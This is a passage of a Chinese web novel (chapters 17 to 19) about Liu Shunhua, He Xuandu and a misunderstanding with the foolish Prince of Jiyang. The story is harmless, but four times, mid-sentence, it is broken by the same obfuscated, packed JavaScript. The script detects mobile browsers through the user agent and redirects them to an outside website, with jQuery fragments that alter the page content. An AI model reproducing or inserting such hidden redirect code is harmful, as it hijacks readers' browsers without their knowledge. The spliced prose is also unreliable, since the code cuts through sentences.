梅好收了发簪插在头上,转身坐下,“我早知是你,不然,你哪还有命活。” “不愧是咱们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14504619|154510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 千引阁最厉害的杀手。”刑风摸着脖子,顺势靠在墙边,“一年未见,我以为只要勤学苦练,总能超过你,可现下看来,我还差得远呢。” 梅好不屑,“你,勤学苦练?刀桥你可有走过,你知道一着不慎便被划得遍体鳞伤的滋味吗?箭阵你可有闯过,你尝过一箭贯穿身体,肋骨折断的滋味吗?少阁主,人贵有自知之明。” 刑风唇角抖动了几下,挠挠头,“什么第一不第一的,我其实也没那么在意。” “你过来有什么事?”她倒了一杯水,喝了一口,“不会是为了确认今日之事吧?” 想了想,她又道:“那济阳王果如传闻一般糊涂,我已诱得他出手,皇上不日便会知晓他的荒唐行径。只是,我不懂,皇上处置济阳王,彭城王能得到什么?” 刑风笑笑,顺势坐在桌上,拿腔道:“这就复杂了。先皇有六子,长子也就是先太子此前因造反被杀,事后先皇虽没继续追究,但他那一脉到底流落到了民间,现已衰落,成不了什么气候。四皇子因触怒龙颜,被罚到燕地,此次更是连面圣的机会都没有。五皇子早夭。如今皇族,只有彭城王,还有济阳王,这两支还算强盛。” 梅好有些懂了,“若此次济阳王的事情被闹大,那他便会彻底失了圣心。那日后皇族中,皇上可倚重的,就只有彭城王了。” 又转念一想,“不对,还有一位。平阳王,皇上的亲叔叔,他才是皇上最信任的人。” 刑风摇头,“平阳王再受倚重,到底只是皇上的叔叔,可彭城王是皇上的亲兄弟,他才是正统。” 梅好一时反应不过来,“正统?” 刑风压低声音,“宫内的暗线传来消息,皇上圣体有恙,只怕……这次面圣,多半是为选继承人。” 梅好愕然,怪不得这么些年,彭城王到处安插眼线,他一直觊觎皇位。 也是,那至尊之位,谁不想去坐一坐。 刑风转头,背对着梅好,不再去看她,“若日后彭城王顺利登基,梅好,我去求父亲,给你解药。到时,你就自由了。” 梅好抬头,望着紧闭的花窗,喃喃道:“自由?” 刑风不会明白,阻碍她自由的,从不是那枚解药。 …… 马车穿过平清坊,前方传来一阵骚乱。 “小姐,是公子。”车夫提醒。 柳舜华掀开车帘,只见几个小吏簇拥下,兄长正往平清坊赶去。 “兄长。”柳舜华叫住了柳桓安。 柳桓安停下脚步,走至车前,“蓁蓁,你怎么在这?” 柳舜华反问道:“兄长不是正忙诸侯朝见之事,为何会在此处?” 柳桓安眉头紧锁,“出了点事,我要过来查看一番。” 这个节骨眼上,能让兄长火急火燎地赶过来,必定事涉诸侯。 她忙道:“兄长可是为了府尹公子被砍断手指一事?” 柳桓安点头,“你也听说了,这里现下乱得很,你快些回家吧。” 柳舜华心上蓦地跳了一下,脱口而出:“兄长,动手的可是济阳王?” 柳桓安一愣,“你怎么知道?” 济阳王,果然是他。 方才她怎么把这个祖宗给忘了。 睿帝驾崩后,新帝登基前,丞相贺留善还曾扶持过一位傀儡皇帝。 不过他在位不足三个月,便因行事过于荒唐,被贺丞相联合诸臣废黜。 这位废帝,便是济阳王。 17. 第 17 章 皇上圣体有恙,诸侯朝见,如此关头,济阳王竟敢在长安惹事。 如此行径,柳舜华怎么也没想到。 废帝刘昌在位不足三月,上辈子她并未见过,只听闻此人行事放荡,言行乖谬。 这辈子,她总算见识到他有多荒唐。 她眉头紧蹙,若是贺玄度不慎得罪了济阳王,待他日后登上皇位,不知会不会清算。 “柳大人。”身后有人出声提醒。 柳桓安看了一眼柳舜华,叮嘱道:“我还有事,你先回家,记得我说的话。” 柳舜华心乱如麻,胡乱点头。 一直等到暮色沉沉,柳桓安才从府衙归来。 柳舜华端汤过去的时候,柳桓安官服都未来得及换下,正坐在窗前写着什么。 “兄长,都已经回来了,还在忙呢?” 见柳舜华过来,柳桓安放下了笔,揉头道:“后日诸侯便要面圣,谁知今日济阳王便捅了这么个大娄子。” 柳舜华将汤递过去,“安神的,先喝了。” 柳桓安接过,喝了一口,“挺甜的,你什么时候会做这些了?” 当初老夫人离世后,柳舜华沉郁了许久,在相府心气不顺,夜夜难眠。妙灵心急,便为她寻来药方,又在贺玄晖那里求了许久。贺玄晖看在过世老夫人的面上,勉强答应了妙灵私设个小厨房给她煎药。 柳舜华接过空碗放在一边,“医书上看的。” 柳桓安一碗热汤下肚,浑身舒畅不少,笑道:“蓁蓁近来长进不少,都知道关心兄长了。你这么贴心,若日后嫁了人,兄长可就孤单了。” 柳舜华歪头道:“那蓁蓁若是不嫁人,一直陪着兄长,兄长可会烦?” 柳桓安摸着她的头,“若是将来碰上了心仪之人,自然是要嫁的。可若命中无缘,实在不想嫁,那就不嫁。兄长说过,你和棠华,柳家都养得起一辈子。” 上辈子,柳舜华嘴上说着大不了回娘家。 可心底总有几分担忧,到底是嫁出去的女儿,她怕给父兄惹麻烦,更怕他们会嫌弃。 如今,兄长明明白白说与她,他不在乎这些流言蜚语,只想护她们一世周全。 柳舜华不觉眼眶湿润。 “兄长,你是这天底下,最好的兄长。” 柳桓安戳开她凑过来的头,“少拍马屁。” 柳舜华突然想起,上辈子,兄长一直未娶。 自她嫁进丞相府,棠华做了皇后,到柳府说亲的人踏破门槛,可兄长却始终不为所动。 她问:“兄长,你一直不娶,是没有心仪之人吗?” 柳桓安眸色一沉,望向桌上燃烧的烛花。 烛影在墙上晃动,一室寂寥。 他幽幽叹了一声,“我这辈子,命中无缘。” 柳舜华看他眉宇间有些伤感,忙转移话题,“济阳王的事,可解决妥了?” 柳桓安想到她午间的话,转头盯着她:“我还未问你,你怎么知道是济阳王?” 柳舜华早想好说辞,“今日出门路过平清坊,听人猜的。” 柳桓安顿觉不妙,“平清坊都传开了?” 柳舜华忙否认,“那倒没有,就是我听到有人嘀咕,多数还是不晓得的。” “原本长安已经有了个纨绔,没想到来了个更荒唐的。” 柳桓安头疼,“这两个纨绔偏还混到了一起。” 柳舜华眉头一抬,“兄长怎么知晓他们混在一起?” 柳桓安揉着额头,“查清平清坊原委,我便找上济阳王府邸,他正与贺玄度一同饮酒。济阳王很爽快地承认了是他伤人,贺玄度也有参与。” 柳舜华一愕,“贺玄度承认了?” 柳桓安点头,“济阳王,丞相府。明日朝会,有得闹了。” 柳舜华头脑有些混乱,贺玄度怎么突然涉事其中,莫不是受了济阳王的哄骗,或是威胁。 第二日朝会,济阳王、贺玄度,苦主京兆府尹,悉数到场。 朝会之上,济阳王称是卓公子出言辱骂在先,他的随从情急之下才动手。 京兆府尹当即跳出来,驳斥济阳王颠倒是非,暗指他针对他儿子,或是早有预谋。 济阳王也不否认,反指着京兆府尹的鼻子骂他胡搅蛮缠,有其父便有其子。 双方你来我往,争执不下。 贺玄度这时站了出来,大大方方承认两人的确早有谋划。 众臣惊愕中,他罗列了卓公子诸多罪状,并呈上证据:仗着其父是京兆府尹,纠集一批流氓整日欺行霸市,一言不合便踢了商贩的摊子;威逼利诱,侵夺他人田产;恶意放贷,强抢民女,逼良为娼。 一场争风吃醋引发的血案,被他强辩成两人一时意气,为民除害。 彭城王的人,早已暗中联络京兆府尹,要他咬死济阳王,又安排一些臣僚准备借机参上济阳王一本。 岂料半路杀出个贺玄度,看他一副大义凛然的架势,那群人已经先弱下去一大截,又忌惮着贺丞相,迟迟不敢出面。 皇上本就顾忌皇室威严,不好苛责济阳王,贺玄度这么一闹,倒正合他心意。 最后,济阳王被皇帝斥责几句虽无视朝廷法度,但念其心正,罚俸三月,这事就过去了。 济阳王这边,左右无人管教,算是顺利脱身。 出了皇宫,他越琢磨越觉得不对,总有一种被人算计利用的感觉。 至于贺玄度,朝会之后,丞相脸色铁青,拽着他回了相府。 柳舜华忐忑一晚,一早便让芳草去打听情况。 芳草伶俐,借着为自家公子送吃食的由头,很快便打听出了朝堂的结果。 皇上虽未处置贺玄度,但以贺丞相素日行为,贺玄度未必能轻易脱身。 柳舜华忧心贺玄度,顾不上其他,亲自去丞相府门前打探消息。 她找人寻了洪声,迫不及待地问贺玄度如何。 “公子不太好。”洪声叹了一口气,“老爷说公子丢人现眼,一直嚷着要打断他一条腿,打得那叫一个惨啊。” 柳舜华如坠冰窟,浑身颤抖。 眼泪夺眶而出。 贺玄度的腿,就这么断了。 她竭力稳住情绪,声音干涩,“贺玄度,他人怎么样?” 洪声吓了一跳,“柳小姐,你怎么了,怎么好好的哭了?” 柳舜华急道:“他到底怎么样了?” 洪声有些懵,还是如实道:“板子才落下,公子便哭天抢地的喊,总算把老夫人喊来了。老夫人抱着公子大哭,老爷不敢妄动。公子的腿,算是保住了。” 柳舜华浑身一松,险些跌倒。 还好,贺玄度的腿,没断。 洪声小心翼翼,“柳小姐,你没事吧?” 柳舜华拍着心口自我安慰,“没事就好,没事就好。” 贺玄度的腿暂时是保住了,可日后却难说。 想到上辈子府内之人三缄其口,柳舜华遽然一惊。 难不成,贺玄度的腿,真的是贺丞相打断的? 想了想,她又觉得自己多心了。 虎毒还不食子呢,贺丞相就算再不喜欢贺玄度,也不至于如此绝情才是。 贺丞相自诩公正,从不结党,此番动怒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14507688|154510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,多半是因贺玄度擅自站在济阳王一方,引起朝中众臣猜忌,他这才不得不动手,以此打消那些不实的想法。 说到底,还是不把他当回事罢了。 若是换成贺玄晖,他定舍不得下重手。 不过话说回来,以贺玄晖那做事滴水不漏的性子,也不会到处招惹是非。 柳舜华不去多想,她问:“二公子现在还能走路吗?” 洪声愁眉苦脸,“到底是挨了几板子,别说走路,下床都难。没个三五日,是好不了的。” 贺玄度是个喜爱玩乐的,躺在床上这么些天,他怕是要闷坏了。 柳舜华怕他这些日子无聊,回到柳府便忙活起来。 她先是找了一根手指般大小的细竹子,拿刀砍了,裁成大小不一的竹节,又寻了最细的一段磨成尖刀的模样。 柳棠华看她在廊下忙来忙去,好奇地扒拉着竹节,歪着头看柳舜华将竹节全部掏空,仔细打磨光滑,然后用红线将它们串在一起。 待竹节全部串好,柳舜华将它拿在手上,放在指间,稍一用力,红线拉直,一个小人赫然立了起来。 柳棠华拍手道:“姐姐,这个是什么,真好玩,怎么以前没见你做过?” 柳舜华略一恍神,笑了笑:“这个是竹节人,我新学的。” 初嫁进相府时,她还对贺玄晖抱有幻想,时不时借口去他书房。 贺玄晖撵她,她就厚着脸皮赖着,只说要同他一起看书。 偶尔几次,贺玄晖懒得与她费口舌,虽不赶她走,却是不理她的,只自顾自地看书写字。 贺玄晖的那些圣贤书,她哪里看得进去,每次一看便困,困了就倚在墙边打瞌睡。 这个竹节人的做法,就是她偶然在书房内一本杂记上看到的。 此后,她更是借着看书的由头,屡屡出入书房。 贺玄晖终于忍无可忍,连人带书给她扔了出去。 …… 柳棠华拿过竹节人,学着柳舜华的样子,牵一下红线,小人低下头。再牵一下,小人举起竹刀。 她觉得有趣极了,撒娇道:“姐姐,这个给我玩好不好?” 柳舜华将小人收到手中,“这个说好了,要送人的。你若喜欢,明日我再做一个给你便是。” 柳棠华不服气,“什么人这么重要,比你亲妹妹都重要?” 柳舜华捏了捏她气鼓鼓的小脸,“你多大了,还这么爱吃醋。说好了明日给你,听话。” 两个竹节人当天便到了贺玄度手里。 洪声当着贺玄度的面,照葫芦画瓢,将柳舜华教他的展示了一番。 贺玄度趴在榻上,正百无聊赖,见了这么一个玩意,自是喜不自胜。 不消片刻,他便已熟练操作,左右手拿着两个小人作战。 “你从哪里找的这么个好玩意儿?” 洪声笑道:“柳小姐送的,说是给你解闷。” 贺玄度一听,下意识捂住被打得肿起的屁股,声音不觉有几分恼怒,“是不是你多嘴?” 洪声觉得冤枉,“少爷,人家柳小姐也是担心你,她都跑到相府门口了,我总不好哄她吧。” 贺玄度垂着头,“算了,知道就知道吧,反正在她面前丢脸也不是一次两次了。” 洪声弯腰凑过去,“少爷怎么能说是丢脸呢?你不知道,听说你被挨了板子,柳小姐哭得死去活来的,别提多伤心了。” 贺玄度震惊:“就为这点事,哭得死去活来?” “少爷,你要走桃花运了。”洪声说得无比肯定,“依我看,柳小姐她一定是喜欢上你了。” 18. 第 18 章 贺玄度不是没想过,柳舜华对他别有用心。 可他总觉得,柳舜华看他的目光有些怪。 她看他时,总是带着几分探索,好似要从他身上寻到什么答案。 他很清楚,那眼神,绝不是单纯的爱慕。 想到此处,他突然没了兴致,便将手中的竹节人放下。 洪声看他停了下来,上前替贺玄度换药,“幸亏老夫人过来得及时,不然这可如何是好?” 贺玄度疼得轻嘶一声,“若不是银纤姑姑早做打算,祖母哪有这么快赶来,还轮到你给我上药,收尸还差不多。” 洪声呸呸两下,“公子不要净说这些晦气话。再过几日便是老夫人大寿,老爷他怎么可能下狠手。” 贺玄度冷哼一声,“明知打了我祖母不依,他还下手,真是大孝子。” 洪声吓得魂都掉了一半,恨不得上去捂住他的嘴,“我的祖宗,你可当心点吧,这样大逆不道的话也敢说。” 贺玄度打着哈欠,看了眼放在一旁许久的餐食,“这些太腻了,我吃不下,你端下去吧。” 洪声忙道:“公子想吃什么,我让他们再做些送来。” 贺玄度抬抬眼皮,“没什么胃口。” 洪声走后,屋内只余贺玄度一人,屋子顿时空荡冷寂起来。 天色阴沉,不多时,便下起了雨。 零零星星的雨落在芭蕉叶上,滴滴答答地响着。 贺玄度浑身发凉,拉过褥子盖在身上。 他趴在榻上,不能动弹,试图透过窗子去瞧外面的景致。 却只看到一角光秃秃的墙。 冷风透过窗缝吹来,隐隐有竹子的清香。 院内并没有栽种竹子,贺玄度找了一圈,才意识到是竹节人的气味。 他将竹节人拿起,轻轻一嗅,清新悠长的香气夹杂着女子脂粉香,萦绕在鼻尖,久久不散。 方才未有留意,如今细细一看,竹子依旧苍翠,像是新竹。 他摩挲着竹节,指尖带着新竹特有的清凉。 这个竹节人,是新做的。 他在长安鲜少见到此物,柳舜华怎么会这么快寻来送他? 一股莫名的情绪涌上心头,他突然意识到,这个竹节人,或许正是柳舜华亲手为他做的。 …… 贺玄度无辜遭罪,柳舜华自觉她多少也要担一点责。 虽未见贺玄度,不清楚其中缘由,但若非她邀他去望月楼,贺玄度便不会遇上济阳王,自然也不会发生后面这些事。 毕竟此事因她而起,想到贺玄度躺在床上,柳舜华有些愧疚。 他被打了板子,尽快恢复才是最重要的。 可相府吃穿用度皆是最好的,用药也不例外,根本用不到她做什么。 隔了两日,她又去找洪声。洪声说贺玄度伤口已是大好,可却没什么胃口,人也消瘦不少。 柳舜华思来想去,决定去摘些新鲜山果子给他开胃。 这日云散日朗,正适宜外出游玩,柳舜华带着芳草上了春蒙山。 春蒙山位于城东,从柳府过去一路坦途,极为便利。更因每到春日,半山腰便结有一种红色的果子,酸甜可口。故此,她与棠华春日常来此赏景。 出城行至春蒙山,马车停在山脚下。 山势平缓,主仆二人拾级而上,不多时便至半山腰。 此时山顶一片苍翠间山杜鹃开得正浓,山岩之上,草木盘结,青松蜿蜒。云雾缭绕间,有鹤盘旋。 不至山林,不知春深。 柳舜华久在樊笼,现下在这半山腰,吹着山风,竟生出餍足之感。 坐在山石之上,静静赏了会景,柳舜华才向着山雀鸣叫之处走去。 芳草跟在身后,气喘吁吁,“小姐,你想吃果子,去集市买些不就好,干吗非要受这罪。” 柳舜华道:“集市上那些都吃腻了,不如山间的新鲜。” 两人又吭哧吭哧地走了百余步,来到一处斜坡,柳舜华远远看到一丛丛果子垂挂着,红灯笼似地喜人。 她欣喜地跑过去,慢慢下了斜坡。 芳草在后面提醒道:“小姐,你慢点,当心摔了。” 柳舜华冲她一笑,走到树前,顺势拉过一丛枝叶,垫着脚,挑拣些没被雀儿啄过的果子摘了起来。 芳草跟在后面,拿出小背包,接过柳舜华手中的果子,小心放到包中,“小姐,我来摘吧。” 柳舜华忙道,“不用,我自己摘。有些果子太酸,要仔细分辨才行。” 山果树斜枝横生,枝叶粗糙,柳舜华手背上被划了好几条血痕,却浑然不觉。 芳草看得心疼,“小姐,你这手真是遭罪,前几日的伤还未好,这就又添了新伤。” 柳舜华瞥了一眼手背,“这些都是小伤,无碍的,之前咱们可是……” 她突然止住了,相府那些不为人知的辛苦时日,已经过去了。 芳草一脸迷惑,正等着她接着说,却听柳舜华笑道:“已经够了,咱们回吧。” 野果充足,柳舜华足足摘了两大兜。 芳草边走边问:“小姐,怎么摘这么多,你和二小姐吃得完吗?” 柳舜华笑道:“一份留给棠华,另一份我要送人。” 两人一路说笑,方下了山,远远便瞧见一队人马浩浩荡荡而来。 待行得近些,柳舜华望着彩帜上的龙纹,大惊失色。 长安东行,此处为必经之地。 济阳,便在长安之东。 柳舜华本想要避让,可一路坦途,却是避无可避。 成川眼尖,越过人群,一眼落在柳舜华身上。 他行至马车前,低声向内道:“王爷,是柳小姐。” 刘昌半陷在软毯内,头一歪,拿了颗葡萄塞进嘴里。 “哪个柳小姐?”刘昌懒洋洋地问,他压根不记得什么柳小姐。 成川提醒,“望月楼,王爷让我查的那个。” 刘昌一听,腾一下坐了起来,探出头问:“哪呢?” 成川用手一指,“那里。” 山脚下,柳舜华一身青衣裾裙,亭亭而立,垂首站在路边。风吹着她的衣袖,流云卷舒,胜遍世间美景。 刘昌手一挥,马车停在柳舜华跟前。 他眉眼弯弯,敛去上次相见时的张狂与肆意,笑得格外愉悦,“柳小姐,又见面了。” 柳舜华骇然,猛地抬起头,他怎会知道她是谁。 刘昌瞧见她眼中的惊愕,全当看不见,眉梢一挑,“此处偏僻,柳小姐怎么会在此?” 柳舜华勉强挤出笑来,“回王爷,小女来此踏春。” 此处景致瞧着也无甚特别,何况离城中又远,寻常贵女怎么会来此踏春? 他提前离开长安,鲜少有人知晓,怎么就这么凑巧碰到柳小姐? 刘昌稍一琢磨,柳小姐兄长负责此次藩王觐见事宜,自然知晓他何时离开长安。 结果显而易见,她是特意来送行的。 刘昌笑容愈发深了,“柳小姐,真没想到,你会特地来此相送。” 柳舜华不知他心内百转千回的想法,愈加迷惑。 他究竟是从哪里看出,她是来送行的。 刘昌眼一瞥,看到她怀中抱的果子,“柳小姐还特地带了礼物?” 成川心细,忙上前从柳舜华手中接过果子,呈递给刘昌。 柳舜华还未反应过来,果子已经到了刘昌手里。 刘昌拿起一个,在衣袖处蹭了蹭,塞进嘴里,连连点头:“甜,比我在城里吃得那些果子甜多了。” 一旁的芳草恍然大悟,忍不住道:“方才小姐说是摘果子送人,原来……” 柳舜华侧身朝芳草使眼色,示意她住嘴。 刘昌将她的小动作尽收眼底,只当她是被道破心思,有些扭捏,心内愈加肯定自己的猜测。 想他逍遥十数年,什么好东西没见过,什么好吃的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14539010|154510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没吃过。 却不曾想有一日,会有姑娘不辞辛劳登山,只是为亲手摘下野果,特意为他送行。 刘昌大受感动,等不及下车,当即便想钻出车窗。 结果人还未爬出来,脸却憋得涨红,“来人啊,卡……卡住了。” “快,快,愣着做什么,帮忙啊。”成川忙招呼众人,费力将他拉出来。 柳舜华看得目瞪口呆,他这是要作甚? 众人七手八脚,小心翼翼地将刘昌放至地面。 他若无其事地理了理衣袖,款步走了过来,“柳小姐,多谢,有心了。” 说罢,他从腰间解下玉佩,拉过柳舜华的手,将玉佩塞在她手里。 “柳小姐的心思,我已然知晓,还望柳小姐放心。” 一股灼热传至掌心,柳舜华浑身一抖,忙抽回手。 济阳王什么意思,要她放心什么? “王爷,时辰不早了,要继续赶路了。”成川小心提醒。 刘昌目光灼灼,盯着柳舜华又看了一眼,这才转头恋恋不舍地爬上马车。 掌心尤带着脂粉香,刘昌用力嗅了几下,朝车外道:“成川,你说,那柳小姐她看上我哪了?” 成川自小便跟在济阳王身边,看惯了他的荒唐行为,丝毫不觉得他有任何问题。 他说得理所当然,“王爷人中龙凤,长得又俊,被柳小姐看上实属正常。” 刘昌点头,说得有理。 再看一路桃李秾艳,又有佳人相送,心中好不畅快,忍不住高呼:“春不负我啊!” 柳舜华望着渐行渐远的马车,怔愣了许久,还是不明白,她到底哪里引起了济阳王的误会。 芳草见人已走远,这才小心翼翼道:“小姐,你今日特意过来摘果子,就是为了这个什么王爷啊?可是他那样的,瞧着也太……” 柳舜华瞥了芳草一眼,“谁说是为他了,我哪里知道他今日回封地,谁知道他发什么颠。” 芳草捂住心口,心道苍天护佑,小姐的眼光还是正常的。 她低头看着怀中的果子,“小姐,既然不是送他,那现在怎么办,只剩这一袋果子了,再去摘怕是来不及了。” 柳舜华朝山上看了看,“这果子棠华左右也吃腻了,这样吧,等到了城里,你去买些糕点带回去给她。” 芳草贼兮兮地凑过去:“小姐要送何人啊,竟然连二小姐都要靠边?昨日也是,小姐,你不会是要送给哪个心上人吧?” “乱说什么,讨打。”略一抬手,柳舜华笑容僵在脸上。 她才发现,刘昌方才送玉佩时,竟将绳子缠在了她手腕上。 怪道方才总觉得哪里不对,仿佛手臂有些沉。 她竟收了济阳王的玉佩! 车马粼粼,济阳王一行已至转弯处,眼看便要消失在眼前。 柳舜华忙提起衣裙,举起玉佩,朝着他们的马车跑去。 快转弯时,成川眼一瞥,瞧见追在马车后的柳舜华。 他靠近马车,又朝内道:“王爷,柳小姐她追过来了。” 济阳王一听,脑袋探出窗外,果然瞧见柳舜华在后面。 离得太远,他听不清柳舜华在说什么,只见她高举着玉佩,双唇一张一合。 不过,不用想他也知道,她定是让他不要忘了自己。 他朝着柳舜华挥手,深吸一口气,高喊道:“别追了,你放心,我说过的话,不会忘的。” 马车一转,过了弯道,柳舜华被远远抛在后面。 济阳王叹道:“自古英雄难过美人关,我竟然就这么白白地辜负了美人。真是,不该啊。” 别说济阳王,就连成川也被感动得一塌糊涂,“王爷,柳小姐,真是个痴情人啊。” 济阳王略微伤感道:“待我回到济阳,定要想办法,给她一个名分。” 柳舜华气喘吁吁地靠在斜坡之上,望着消失的马车,心内无比绝望。 这误会好像有点大。 19. 第 19 章 山果子送到丞相府的时候,贺玄度正命人把晚膳撤掉。 这些天他不能下床,心中烦闷,嘴里无味。 洪声拿了果子进来,“少爷,新鲜的山果子,你要不要尝尝。” 贺玄度瞧了一眼,红彤彤的果子,小小一个,玲珑可爱。 他拿起尝了一个,酸酸甜甜,很是开胃。 “这是什么果子,哪里来的,之前怎么都没见过?” 洪声笑道:“我也不知道是什么,柳小姐送来的,说是新摘的。” 贺玄度手停了下来,低头看着咬了一口的果子,“是她自己去摘的?” 洪声挠挠头,“这个我就不知道了,柳小姐没说。” 贺玄度一个果子扔过去,“什么都不知道,跟了我这些年,还是这么没眼力见。” 洪声低声嘟囔,“这不就是因为跟着少爷,才这么没眼色。” 贺玄度捏着手里的果子,思索片刻,“你去跟她说,不用再费心给我送东西了,她又不欠我什么。” 洪声一听,这话他熟。 少爷此前回绝那些个缠着他的女子,用的就是这个借口。 少爷一向不喜自持端庄的女子,柳小姐这样的娇艳大美人,确实不是他属意的。 柳小姐虽对少爷有意,可感情之事终究不能勉强。 少爷这好朵大好的桃花,又要折了。 相府门前,柳舜华秀眉蹙起,“贺玄度说,让我别再白费心思了?” 洪声点头,“对啊,少爷特意说了,不想和柳小姐有什么亏欠。” 柳舜华不知贺玄度为何突然这么说,望月楼内他明明是帮了她的。 她声音轻柔,咬着唇角,眼眶微微泛红,“是果子,贺玄度不喜欢吗?” 洪声虽心下不忍,但到底长痛不如短痛,狠心道:“柳小姐,实话跟您说,您就放弃吧,少爷他不喜欢死缠烂打的。” 柳舜华怔愣片刻,他的意思是,贺玄度觉得她太烦了。 她费心费力去做竹节人,上山摘野果,想替他解闷,没曾想到了贺玄度那里,竟成了负担。 柳舜华心内无比委屈。 若是换作以往,她这样掏心掏肺待一个人,却被如此嫌弃,她定会走得干干脆脆,与他再无任何瓜葛。 可是,这个人是贺玄度啊。 …… 马车悠悠晃晃,晃得柳舜华心中愈加烦闷。 今日真是出师不利,贺玄度没有亲近成,反而招来济阳王这个大麻烦。 她垂眸看着手中的玉佩,忍不住头疼。 济阳王不知怎的,突然就起了误会。 她盘算着要不要差人将玉佩送回,并附信解释。 可这玉佩一看便是价值连城,若是途中磕磕碰碰,她可赔不起。 刘昌远在封地济阳,天高皇帝远的,即便一时半会误解,也并无大碍。 麻烦的是睿帝崩逝后,济阳王便会登基成为新帝。 若是等他登上至尊之位,突然又想起她来,还是有些难办。 可又转念一想,他这个帝王,好像只坐了两个有余。 也就是说,即便将来他起了心思,只要熬过两个月,便万事不愁。 如此想着,柳舜华才又放松下来。 一连几日,贺玄度都未见柳舜华再送东西过来。 他到底忍不住了,抓住洪声问:“这两日没有什么东西要给我?” 洪声不解:“没有啊,少爷你是指什么?” 贺玄度想了想:“就比如,一些新奇的玩意什么的?” 洪声挠挠头,“少爷,你是想要买什么东西吗?你说,我这就去买。” 贺玄度白了他一眼,“算了,跟你说了也是白说。” 休养几日,他已经能起身行走,便半趴在床上,玩了一会竹节人,越玩越烦躁。 这个柳舜华,若是不送东西,从一开始便不要送。送了两日勾起了他的兴致,她却突然不送了,害得他愈发无聊。 她连送几日,他几乎要以为她是真心实意地感激他,却不料她不过一时兴起而已。 他想起贺容暄小时养的那只猫,高兴的时候她便抱在怀里揉几下,不高兴的时候就一脚踢开。 他觉得,他就像是那只猫。 待身体恢复得七七八八,贺玄度早已按捺不住,不顾洪声的劝阻便出了门。 望月楼内,洪声看着贺玄度喝了半坛葡萄酒,再忍不住:“少爷,您才能下床就跑出来也就算了,这怎么还能喝这么些酒呢?” 贺玄度又饮了一杯,眼皮一翻,“无聊。” 洪声凑上前去,“少爷若是无聊,咱们可以去平清坊啊,听听曲多好。” 贺玄度:“太吵。” 洪声连连吃瘪,抓耳挠腮,少爷这一病,怎么整个人都抑郁了。 贺玄度头转向窗外,淡淡地看着街上来来往往的行人,三三两两作伴,其乐融融。 街对面一个卖糖人的中年妇人,叫卖了半日也没一个顾客。她身旁站了个小童,不时用袖口擦着铺上的尘土,衣着单薄,穿一双草鞋,一张小脸冻得通红。 中年妇人大约是叫得累了,停下来,笑着看着小童,伸手拿了一个糖人递给小童。 小童得了糖人,高兴得不行,刚伸出舌头准备起舔,突然停住了。 他将糖人举起,“娘先吃。” 中年妇人笑着拍着他的头:“娘不吃,你吃吧。” 贺玄度看得出神,半晌后,他回过神,对洪声道:“你去,把糖人全买了。” 洪声看了一眼,“少爷,那么多你吃得完吗?” 贺玄度不耐道:“你管我吃不吃得完,小爷高兴买,你买便是。” 洪声知晓他那脾气,做事一向没个常理,只得遂了他的意。 贺玄度瞧着洪声走了过去,方收回视线,便看到一道熟悉的人影。 人潮涌动中,贺玄度一眼便瞧见她。 柳舜华正提着一盒糕点,踏过石桥,款步走在岸边。 她步履轻盈,杨柳影随风摆动在她衣裙上,脸上挂着笑,浸染着周遭凡尘烟火气,如春日葳蕤的草木,生机盎然。 隔着雕花的木窗,贺玄度就这么静静地看着她。 柳舜华跳过一个小水坑,蓦然抬眸,正对上贺玄度的目光。 视线交汇的刹那,柳舜华触电一般,迅速背转过身去,不再看他。 贺玄度无端有些气恼,她竟然毫无理由地躲着他。 难道当初 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14573874|154510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是她先招惹的他! “柳舜华!”他忍不住朝她叫了一声。 柳舜华顿住脚步,缓缓转身,“贺二公子,您叫我?” 贺玄度耐着性子,“你过来,我有话同你说。” 柳舜华并没进去,只是站在墙根下,一动不动。 “你什么意思,躲着我是吧?”贺玄度冷笑。 若是嫌他,当初就不应该主动招惹,何况他并未做错什么。 柳舜华丝毫不为所动,“贺二公子有话请讲。” 她语气虽是疏离,脸上却露出几分委屈来。 贺玄度要被气笑了,他都不曾委屈,她倒委屈上了。 